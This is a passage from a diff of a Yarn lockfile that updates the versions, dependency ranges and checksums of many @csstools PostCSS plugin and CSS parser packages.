10c0/b7f99d2e455cf1c9b41a67a5327d5d02888cd5c8802a68b1887dffef537d9d4bc66b3c10c1e62b40bbed638b6c1d60b85a232f904ed7b39809c4029cb36567db languageName: node linkType: hard -"@csstools/css-calc@npm:^2.1.3": - version: 2.1.3 - resolution: "@csstools/css-calc@npm:2.1.3" +"@csstools/css-calc@npm:^2.1.4": + version: 2.1.4 + resolution: "@csstools/css-calc@npm:2.1.4" peerDependencies: - "@csstools/css-parser-algorithms": ^3.0.4 - "@csstools/css-tokenizer": ^3.0.3 - checksum: 10c0/85f5b4f96d60f395d5f0108056b0ddee037b22d6deba448d74324b50f1c554de284f84715ebfac7b2888b78e09d20d02a7cd213ee7bdaa71011ea9b4eee3a251 + "@csstools/css-parser-algorithms": ^3.0.5 + "@csstools/css-tokenizer": ^3.0.4 + checksum: 10c0/42ce5793e55ec4d772083808a11e9fb2dfe36db3ec168713069a276b4c3882205b3507c4680224c28a5d35fe0bc2d308c77f8f2c39c7c09aad8747708eb8ddd8 languageName: node linkType: hard -"@csstools/css-color-parser@npm:^3.0.9": - version: 3.0.9 - resolution: "@csstools/css-color-parser@npm:3.0.9" +"@csstools/css-color-parser@npm:^3.1.0": + version: 3.1.0 + resolution: "@csstools/css-color-parser@npm:3.1.0" dependencies: - "@csstools/color-helpers": "npm:^5.0.2" - "@csstools/css-calc": "npm:^2.1.3" + "@csstools/color-helpers": "npm:^5.1.0" + "@csstools/css-calc": "npm:^2.1.4" peerDependencies: - "@csstools/css-parser-algorithms": ^3.0.4 - "@csstools/css-tokenizer": ^3.0.3 - checksum: 10c0/acc026a6bd6d8c4c641fa5f9b4d77cd5dfa54c57c3278ae52329d96b5837723428dcb93c34db4062bbea2f45a98451119df06eaf39fd196aaf6368c59d799f20 + "@csstools/css-parser-algorithms": ^3.0.5 + "@csstools/css-tokenizer": ^3.0.4 + checksum: 10c0/0e0c670ad54ec8ec4d9b07568b80defd83b9482191f5e8ca84ab546b7be6db5d7cc2ba7ac9fae54488b129a4be235d6183d3aab4416fec5e89351f73af4222c5 languageName: node linkType: hard -"@csstools/css-parser-algorithms@npm:^3.0.4": - version: 3.0.4 - resolution: "@csstools/css-parser-algorithms@npm:3.0.4" +"@csstools/css-parser-algorithms@npm:^3.0.5": + version: 3.0.5 + resolution: "@csstools/css-parser-algorithms@npm:3.0.5" peerDependencies: - "@csstools/css-tokenizer": ^3.0.3 - checksum: 10c0/d411f07765e14eede17bccc6bd4f90ff303694df09aabfede3fd104b2dfacfd4fe3697cd25ddad14684c850328f3f9420ebfa9f78380892492974db24ae47dbd + "@csstools/css-tokenizer": ^3.0.4 + checksum: 10c0/d9a1c888bd43849ae3437ca39251d5c95d2c8fd6b5ccdb7c45491dfd2c1cbdc3075645e80901d120e4d2c1993db9a5b2d83793b779dbbabcfb132adb142eb7f7 languageName: node linkType: hard -"@csstools/css-tokenizer@npm:^3.0.3": - version: 3.0.3 - resolution: "@csstools/css-tokenizer@npm:3.0.3" - checksum: 10c0/c31bf410e1244b942e71798e37c54639d040cb59e0121b21712b40015fced2b0fb1ffe588434c5f8923c9cd0017cfc1c1c8f3921abc94c96edf471aac2eba5e5 +"@csstools/css-tokenizer@npm:^3.0.4": + version: 3.0.4 + resolution: "@csstools/css-tokenizer@npm:3.0.4" + checksum: 10c0/3b589f8e9942075a642213b389bab75a2d50d05d203727fcdac6827648a5572674caff07907eff3f9a2389d86a4ee47308fafe4f8588f4a77b7167c588d2559f languageName: node linkType: hard -"@csstools/media-query-list-parser@npm:^4.0.2": - version: 4.0.2 - resolution: "@csstools/media-query-list-parser@npm:4.0.2" +"@csstools/media-query-list-parser@npm:^4.0.3": + version: 4.0.3 + resolution: "@csstools/media-query-list-parser@npm:4.0.3" peerDependencies: - "@csstools/css-parser-algorithms": ^3.0.4 - "@csstools/css-tokenizer": ^3.0.3 - checksum: 10c0/5d008a70f5d4fd96224066a433f5cdefa76cfd78a74416a20d6d5b2bb1bc8282b140e8373015d807d4dadb91daf3deb73eb13f853ec4e0479d0cb92e80c6f20d + "@csstools/css-parser-algorithms": ^3.0.5 + "@csstools/css-tokenizer": ^3.0.4 + checksum: 10c0/e29d856d57e9a036694662163179fc061a99579f05e7c3c35438b3e063790ae8a9ee9f1fb4b4693d8fc7672ae0801764fe83762ab7b9df2921fcc6172cfd5584 languageName: node linkType: hard -"@csstools/postcss-cascade-layers@npm:^5.0.1": - version: 5.0.1 - resolution: "@csstools/postcss-cascade-layers@npm:5.0.1" +"@csstools/postcss-alpha-function@npm:^1.0.1": + version: 1.0.1 + resolution: "@csstools/postcss-alpha-function@npm:1.0.1" + dependencies: + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" + "@csstools/utilities": "npm:^2.0.0" + peerDependencies: + postcss: ^8.4 + checksum: 10c0/35ca209e572534ade21ac5c18aad702aa492eb39e2d0e475f441371063418fe9650554e6a59b1318d3a615da83ef54d9a588faa27063ecc0a568ef7290a6b488 + languageName: node + linkType: hard + +"@csstools/postcss-cascade-layers@npm:^5.0.2": + version: 5.0.2 + resolution: "@csstools/postcss-cascade-layers@npm:5.0.2" dependencies: "@csstools/selector-specificity": "npm:^5.0.0" postcss-selector-parser: "npm:^7.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/5cc3c6f220d9216f7ab16e716a20d6db845f127c917521e6236342bfa871accd63eb662a04c1e24a28e396412dcb47b1c4abccc490b88e4010cd704d14a702f1 + checksum: 10c0/dd8e29cfd3a93932fa35e3a59aa62fd2e720772d450f40f38f65ce1e736e2fe839635eb6f033abcc8ee8bc2856161a297f4458b352b26d2216856feb03176612 languageName: node linkType: hard -"@csstools/postcss-color-function@npm:^4.0.9": - version: 4.0.9 - resolution: "@csstools/postcss-color-function@npm:4.0.9" +"@csstools/postcss-color-function-display-p3-linear@npm:^1.0.1": + version: 1.0.1 + resolution: "@csstools/postcss-color-function-display-p3-linear@npm:1.0.1" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/11f7e8a1a4d6ff113706928eb4702454d18ee8d6b07166b98d33b499ba1933cdf034876101a9c3d22fcc009d054ca6fe2df1455daf391d5eb4af86fa6b530e75 + checksum: 10c0/d02d45410c9257f5620c766f861f8fa3762b74ef01fdba8060b33a4c98f929e2219cd476b25bd4181ac186158a4d99a0da555c0b6ba45a7ac4a3a5885baad1f5 languageName: node linkType: hard -"@csstools/postcss-color-mix-function@npm:^3.0.9": - version: 3.0.9 - resolution: "@csstools/postcss-color-mix-function@npm:3.0.9" +"@csstools/postcss-color-function@npm:^4.0.12": + version: 4.0.12 + resolution: "@csstools/postcss-color-function@npm:4.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/e26ecec62ac6085e8c46225e444bfb6082fffad1559005c0746226b22f995727c2e4ede0fb347e37c81e8f4f2ac9cf4de88800184a650638351f4cbfb8baf1d3 + checksum: 10c0/a355b04d90f89c8e37a4a23543151558060acc68fb2e7d1c3549bebeeae2b147eec26af1fbc6ee690f0ba4830263f2d181f5331d16d3483b5542be46996fa755 languageName: node linkType: hard -"@csstools/postcss-content-alt-text@npm:^2.0.5": - version: 2.0.5 - resolution: "@csstools/postcss-content-alt-text@npm:2.0.5" +"@csstools/postcss-color-mix-function@npm:^3.0.12": + version: 3.0.12 + resolution: "@csstools/postcss-color-mix-function@npm:3.0.12" + dependencies: + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" + "@csstools/utilities": "npm:^2.0.0" + peerDependencies: + postcss: ^8.4 + checksum: 10c0/3e98a5118852083d1f87a3f842f78088192b1f9f08fdf1f3b3ef1e8969e18fdadc1e3bcac3d113a07c8917a7e8fa65fdec55a31df9a1b726c8d7ae89db86e8e5 + languageName: node + linkType: hard + +"@csstools/postcss-color-mix-variadic-function-arguments@npm:^1.0.2": + version: 1.0.2 + resolution: "@csstools/postcss-color-mix-variadic-function-arguments@npm:1.0.2" dependencies: - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/fd0543e8195b1a1228fa41995d48bafafb635d32b0b80bdae8edfc3af7fcccb75aa472a072e552420ed0bd2f62d38e764483e3b9cca25a41dc2b450098b2436d + checksum: 10c0/34073f0f0d33e4958f90763e692955a8e8c678b74284234497c4aa0d2143756e1b3616e0c09832caad498870e227ca0a681316afe3a71224fc40ade0ead1bdd9 languageName: node linkType: hard -"@csstools/postcss-exponential-functions@npm:^2.0.8": +"@csstools/postcss-content-alt-text@npm:^2.0.8": version: 2.0.8 - resolution: "@csstools/postcss-exponential-functions@npm:2.0.8" + resolution: "@csstools/postcss-content-alt-text@npm:2.0.8" + dependencies: + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" + "@csstools/utilities": "npm:^2.0.0" + peerDependencies: + postcss: ^8.4 + checksum: 10c0/4c330cc2a1e434688a62613ecceb1434cd725ce024c1ad8d4a4c76b9839d1f3ea8566a8c6494921e2b46ec7feef6af8ed6548c216dcb8f0feab4b1d52c96228e + languageName: node + linkType: hard + +"@csstools/postcss-contrast-color-function@npm:^2.0.12": + version: 2.0.12 + resolution: "@csstools/postcss-contrast-color-function@npm:2.0.12" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" + "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/8ed7cea3ab7b3fce351dc678c97aad0c12d9e9eae43c9793081fc09e2b3281a89a9d67e57df02d87b6af40839d582b5d08523a9f9bfabbd4e05e319995ae7789 + checksum: 10c0/b783ce948cdf1513ee238e9115b42881a8d3e5d13c16038601b1c470d661cfaeeece4eea29904fb9fcae878bad86f766810fa798a703ab9ad4b0cf276b173f8f + languageName: node + linkType: hard + +"@csstools/postcss-exponential-functions@npm:^2.0.9": + version: 2.0.9 + resolution: "@csstools/postcss-exponential-functions@npm:2.0.9" + dependencies: + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + peerDependencies: + postcss: ^8.4 + checksum: 10c0/78ea627a87fb23e12616c4e54150363b0e8793064634983dbe0368a0aca1ff73206c2d1f29845773daaf42787e7d1f180ce1b57c43e2b0d10da450101f9f34b6 languageName: node linkType: hard @@ -1615,59 +1740,59 @@ __metadata: languageName: node linkType: hard -"@csstools/postcss-gamut-mapping@npm:^2.0.9": - version: 2.0.9 - resolution: "@csstools/postcss-gamut-mapping@npm:2.0.9" +"@csstools/postcss-gamut-mapping@npm:^2.0.11": + version: 2.0.11 + resolution: "@csstools/postcss-gamut-mapping@npm:2.0.11" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" peerDependencies: postcss: ^8.4 - checksum: 10c0/a5985c74bfa8c0fc4406cec807818e35949c73d62b6acd2901dbdd54a30afa7d2094f839ba550812bca76f0df95205492f271df4bab03f4b15115cf10b06b1b5 + checksum: 10c0/490b8ccf10e30879a4415afbdd3646e1cdac3671586b7916855cf47a536f3be75eed014396056bde6528e0cb76d904e79bad78afc0b499e837264cf22519d145 languageName: node linkType: hard -"@csstools/postcss-gradients-interpolation-method@npm:^5.0.9": - version: 5.0.9 - resolution: "@csstools/postcss-gradients-interpolation-method@npm:5.0.9" +"@csstools/postcss-gradients-interpolation-method@npm:^5.0.12": + version: 5.0.12 + resolution: "@csstools/postcss-gradients-interpolation-method@npm:5.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/b284558e38c096e1abfb04306717e23eec841ab23979479adbe165332db84503493b74e6d23d7752abec9327b9bfc343857e9a2393957d5bb9fd2e249570467e + checksum: 10c0/70b3d6c7050ce882ed2281e71eb4493531ae8d55d21899920eeeb6c205d90aaf430419a66235484ccce3a1a1891367dfc0ef772f3866ae3a9d8ec5ddd0cfe894 languageName: node linkType: hard -"@csstools/postcss-hwb-function@npm:^4.0.9": - version: 4.0.9 - resolution: "@csstools/postcss-hwb-function@npm:4.0.9" +"@csstools/postcss-hwb-function@npm:^4.0.12": + version: 4.0.12 + resolution: "@csstools/postcss-hwb-function@npm:4.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/31f9b3540e8af221e1716944ed8719f97ae335e5f866dfc96a3d81f042ef8975ce0d6163925cb32514f4903cb35177bf8d814a571da3f44b63244f88b6b395ad + checksum: 10c0/d0dac34da9d7ac654060b6b27690a419718e990b21ff3e63266ea59934a865bc6aeae8eb8e1ca3e227a8b2a208657e3ab70ccdf0437f1f09d21ab848bbffcaa2 languageName: node linkType: hard -"@csstools/postcss-ic-unit@npm:^4.0.1": - version: 4.0.1 - resolution: "@csstools/postcss-ic-unit@npm:4.0.1" +"@csstools/postcss-ic-unit@npm:^4.0.4": + version: 4.0.4 + resolution: "@csstools/postcss-ic-unit@npm:4.0.4" dependencies: - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/1097cbdc385bcf32e15df1ed2946477c5927e34ebaf273297f1ae46aeaf2084c7a63858ba1a7a5e1f241be441968a2e1c6deb43ddb101708110c7f608b6fc525 + checksum: 10c0/20168e70ecb4abf7a69e407d653b6c7c9c82f2c7b1da0920e1d035f62b5ef8552cc7f1b62e0dca318df13c348e79fba862e1a4bb0e9432119a82b10aeb511752 languageName: node linkType: hard @@ -1680,29 +1805,29 @@ __metadata: languageName: node linkType: hard -"@csstools/postcss-is-pseudo-class@npm:^5.0.1": - version: 5.0.1 - resolution: "@csstools/postcss-is-pseudo-class@npm:5.0.1" +"@csstools/postcss-is-pseudo-class@npm:^5.0.3": + version: 5.0.3 + resolution: "@csstools/postcss-is-pseudo-class@npm:5.0.3" dependencies: "@csstools/selector-specificity": "npm:^5.0.0" postcss-selector-parser: "npm:^7.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/3aaab18ebb2dcf5565efa79813eaa987d40de1e086765358524392a09631c68ad1ee952e6aff8f42513b2c18ab84891787e065fe287f696128498fc641520b6c + checksum: 10c0/7980f1cabf32850bac72552e4e9de47412359e36e259a92b9b9af25dae4cce42bbcc5fdca8f384a589565bf383ecb23dec3af9f084d8df18b82552318b2841b6 languageName: node linkType: hard -"@csstools/postcss-light-dark-function@npm:^2.0.8": - version: 2.0.8 - resolution: "@csstools/postcss-light-dark-function@npm:2.0.8" +"@csstools/postcss-light-dark-function@npm:^2.0.11": + version: 2.0.11 + resolution: "@csstools/postcss-light-dark-function@npm:2.0.11" dependencies: - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/5494516f52d467dcace80495a4fb0fbd24207ae13634bb82b5c24e5d52e84665aebc28cd31fed8d96a41e91bf822185aba5a3d01680a140278c484741516c383 + checksum: 10c0/0175be41bb0044a48bc98d5c55cce41ed6b9ada88253c5f20d0ca17287cba4b429742b458ac5744675b9a286109e13ac51d64e226ab16040d7b051ba64c0c77b languageName: node linkType: hard @@ -1744,42 +1869,42 @@ __metadata: languageName: node linkType: hard -"@csstools/postcss-logical-viewport-units@npm:^3.0.3": - version: 3.0.3 - resolution: "@csstools/postcss-logical-viewport-units@npm:3.0.3" +"@csstools/postcss-logical-viewport-units@npm:^3.0.4": + version: 3.0.4 + resolution: "@csstools/postcss-logical-viewport-units@npm:3.0.4" dependencies: - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-tokenizer": "npm:^3.0.4" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/8ec746598d7ce8697c3dafd83cb3a319a90079ad755dd78e3ec92f4ba9ad849c4cdaba33b16e9dcbac1e9489b3d7c48262030110c20ce1d88cdacbe9f5987cec + checksum: 10c0/f0b5ba38acde3bf0ca880c6e0a883950c99fa9919b0e6290c894d5716569663590f26aa1170fd9483ce14544e46afac006ab3b02781410d5e7c8dd1467c674ce languageName: node linkType: hard -"@csstools/postcss-media-minmax@npm:^2.0.8": - version: 2.0.8 - resolution: "@csstools/postcss-media-minmax@npm:2.0.8" +"@csstools/postcss-media-minmax@npm:^2.0.9": + version: 2.0.9 + resolution: "@csstools/postcss-media-minmax@npm:2.0.9" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/media-query-list-parser": "npm:^4.0.2" + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/media-query-list-parser": "npm:^4.0.3" peerDependencies: postcss: ^8.4 - checksum: 10c0/aff72b83b888d3d0dc6441f219f7c2833a4aa0f59493da22db1087fce32763bb765f068c6ddedc0ddc6fe79f1843e6b1375af07fa572494ecac91e59b1dc324f + checksum: 10c0/d82622ee9de6eacba1abbf31718cd58759d158ed8a575f36f08e982d07a7d83e51fb184178b96c6f7b76cb333bb33cac04d06a750b6b9c5c43ae1c56232880f9 languageName: node linkType: hard -"@csstools/postcss-media-queries-aspect-ratio-number-values@npm:^3.0.4": - version: 3.0.4 - resolution: "@csstools/postcss-media-queries-aspect-ratio-number-values@npm:3.0.4" +"@csstools/postcss-media-queries-aspect-ratio-number-values@npm:^3.0.5": + version: 3.0.5 + resolution: "@csstools/postcss-media-queries-aspect-ratio-number-values@npm:3.0.5" dependencies: - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/media-query-list-parser": "npm:^4.0.2" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/media-query-list-parser": "npm:^4.0.3" peerDependencies: postcss: ^8.4 - checksum: 10c0/27dc9419b0f4315774647588f599348e7cc593984f59b414c51c910066501fd087cbe232deb762907c18bd21dd4184e7b6e0e0b730e5c72341ab9cc696c75739 + checksum: 10c0/a47abdaa7f4b26596bd9d6bb77aed872a232fc12bd144d2c062d9da626e8dfd8336e2fff67617dba61a1666c2b8027145b390d70d5cd4d4f608604e077cfb04e languageName: node linkType: hard @@ -1806,57 +1931,57 @@ __metadata: languageName: node linkType: hard -"@csstools/postcss-oklab-function@npm:^4.0.9": - version: 4.0.9 - resolution: "@csstools/postcss-oklab-function@npm:4.0.9" +"@csstools/postcss-oklab-function@npm:^4.0.12": + version: 4.0.12 + resolution: "@csstools/postcss-oklab-function@npm:4.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/9955aafc1dfc0bb5c886b2af3a82abed2d0a707c7654b2b49886db4c7153e1a016f327f4cc0d94b5b28f3b6227d9b3422c63555f78412433655beec90f37b388 + checksum: 10c0/40d4f51b568c8299c054f8971d0e85fa7da609ba23ce6c84dc17e16bc3838640ed6da75c3886dc9a96a11005773c6e23cba13a5510c781b2d633d07ad7bda6b7 languageName: node linkType: hard -"@csstools/postcss-progressive-custom-properties@npm:^4.0.1": - version: 4.0.1 - resolution: "@csstools/postcss-progressive-custom-properties@npm:4.0.1" +"@csstools/postcss-progressive-custom-properties@npm:^4.2.1": + version: 4.2.1 + resolution: "@csstools/postcss-progressive-custom-properties@npm:4.2.1" dependencies: postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/a33e2a67ac29e731b112df9718596f703990492900bb118c513fcee7c0dc0a03f58248b2c5467b14de3e757f0ef2c6d97882254af784d8df390c633780bdf1f9 + checksum: 10c0/56e9a147799719fd5c550c035437693dd50cdfef46d66a4f2ce8f196e1006a096aa47d412710a89c3dc9808068a0a101c7f607a507ed68e925580c6f921e84d5 languageName: node linkType: hard -"@csstools/postcss-random-function@npm:^2.0.0": - version: 2.0.0 - resolution: "@csstools/postcss-random-function@npm:2.0.0" +"@csstools/postcss-random-function@npm:^2.0.1": + version: 2.0.1 + resolution: "@csstools/postcss-random-function@npm:2.0.1" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" peerDependencies: postcss: ^8.4 - checksum: 10c0/e0744b1472c4037b6491aac232d005659c0c65bc08af785cbdc50b722efaf71330e38607f4c88b54322338294f92ec68817ec1cd6e688953aa127f27cd2a5b00 + checksum: 10c0/475bacf685b8bb82942d388e9e3b95f4156800f370299f19f5acc490475dc2813100de81a5a6bf48b696b4d83247622005b616af3166a668556b4b1aceded70d languageName: node linkType: hard -"@csstools/postcss-relative-color-syntax@npm:^3.0.9": - version: 3.0.9 - resolution: "@csstools/postcss-relative-color-syntax@npm:3.0.9" +"@csstools/postcss-relative-color-syntax@npm:^3.0.12": + version: 3.0.12 + resolution: "@csstools/postcss-relative-color-syntax@npm:3.0.12" dependencies: - "@csstools/css-color-parser": "npm:^3.0.9" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" - "@csstools/postcss-progressive-custom-properties": "npm:^4.0.1" + "@csstools/css-color-parser": "npm:^3.1.0" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" + "@csstools/postcss-progressive-custom-properties": "npm:^4.2.1" "@csstools/utilities": "npm:^2.0.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/486e6c91b1042ca96e6e5c3d94d95e343101c7862e772aee16cd48607633f7c93c42dd23b5adc44cfa8dc8cb32ef3ba0f1f86e3f9a23be5c8744533d23128624 + checksum: 10c0/11af386c8193e22c148ac034eee94c56da3060bdbde3196d2d641b088e12de35bef187bcd7d421f9e4d49c4f1cfc28b24e136e62107e02ed7007a3a28f635d06 languageName: node linkType: hard @@ -1871,54 +1996,54 @@ __metadata: languageName: node linkType: hard -"@csstools/postcss-sign-functions@npm:^1.1.3": - version: 1.1.3 - resolution: "@csstools/postcss-sign-functions@npm:1.1.3" +"@csstools/postcss-sign-functions@npm:^1.1.4": + version: 1.1.4 + resolution: "@csstools/postcss-sign-functions@npm:1.1.4" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" peerDependencies: postcss: ^8.4 - checksum: 10c0/97998443191ab0ef370bdc413b4952fd86d9274700fade2a83cdf5d59f449a4a7001ceda35dd6cb45fefebafb0959be35c3fcfa0e3333c55b1658f514eb64e96 + checksum: 10c0/ff58108b2527832a84c571a1f40224b5c8d2afa8db2fe3b1e3599ff6f3469d9f4c528a70eb3c25c5d7801e30474fabfec04e7c23bfdad8572ad492053cd4f899 languageName: node linkType: hard -"@csstools/postcss-stepped-value-functions@npm:^4.0.8": - version: 4.0.8 - resolution: "@csstools/postcss-stepped-value-functions@npm:4.0.8" +"@csstools/postcss-stepped-value-functions@npm:^4.0.9": + version: 4.0.9 + resolution: "@csstools/postcss-stepped-value-functions@npm:4.0.9" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" peerDependencies: postcss: ^8.4 - checksum: 10c0/515630c3d25029a5e3789d665ae7f4a394245e5442c79d99f0fff018c698e356680aea0f937819a00cb78563ce2285a43ede50e32992cee4e062e413d22df44f + checksum: 10c0/f143ca06338c30abb2aa37adc3d7e43a78f3b4493093160cb5babe3ec8cf6b86d83876746ee8e162db87b5e9af6e0066958d89fe8b4a503a29568e5c57c1bf8a languageName: node linkType: hard -"@csstools/postcss-text-decoration-shorthand@npm:^4.0.2": - version: 4.0.2 - resolution: "@csstools/postcss-text-decoration-shorthand@npm:4.0.2" +"@csstools/postcss-text-decoration-shorthand@npm:^4.0.3": + version: 4.0.3 + resolution: "@csstools/postcss-text-decoration-shorthand@npm:4.0.3" dependencies: - "@csstools/color-helpers": "npm:^5.0.2" + "@csstools/color-helpers": "npm:^5.1.0" postcss-value-parser: "npm:^4.2.0" peerDependencies: postcss: ^8.4 - checksum: 10c0/01e2f3717e7a42224dc1a746491c55a381cf208cb7588f0308eeefe730675be4c7bb56c0cc557e75999c981e67da7d0b0bb68610635752c89ef251ee435b9cac + checksum: 10c0/f6af7d5dcf599edcf76c5e396ef2d372bbe1c1f3fbaaccd91e91049e64b6ff68b44f459277aef0a8110baca3eaa21275012adc52ccb8c0fc526a4c35577f8fce languageName: node linkType: hard -"@csstools/postcss-trigonometric-functions@npm:^4.0.8": - version: 4.0.8 - resolution: "@csstools/postcss-trigonometric-functions@npm:4.0.8" +"@csstools/postcss-trigonometric-functions@npm:^4.0.9": + version: 4.0.9 + resolution: "@csstools/postcss-trigonometric-functions@npm:4.0.9" dependencies: - "@csstools/css-calc": "npm:^2.1.3" - "@csstools/css-parser-algorithms": "npm:^3.0.4" - "@csstools/css-tokenizer": "npm:^3.0.3" + "@csstools/css-calc": "npm:^2.1.4" + "@csstools/css-parser-algorithms": "npm:^3.0.5" + "@csstools/css-tokenizer": "npm:^3.0.4" peerDependencies: postcss: ^8.4 - checksum: 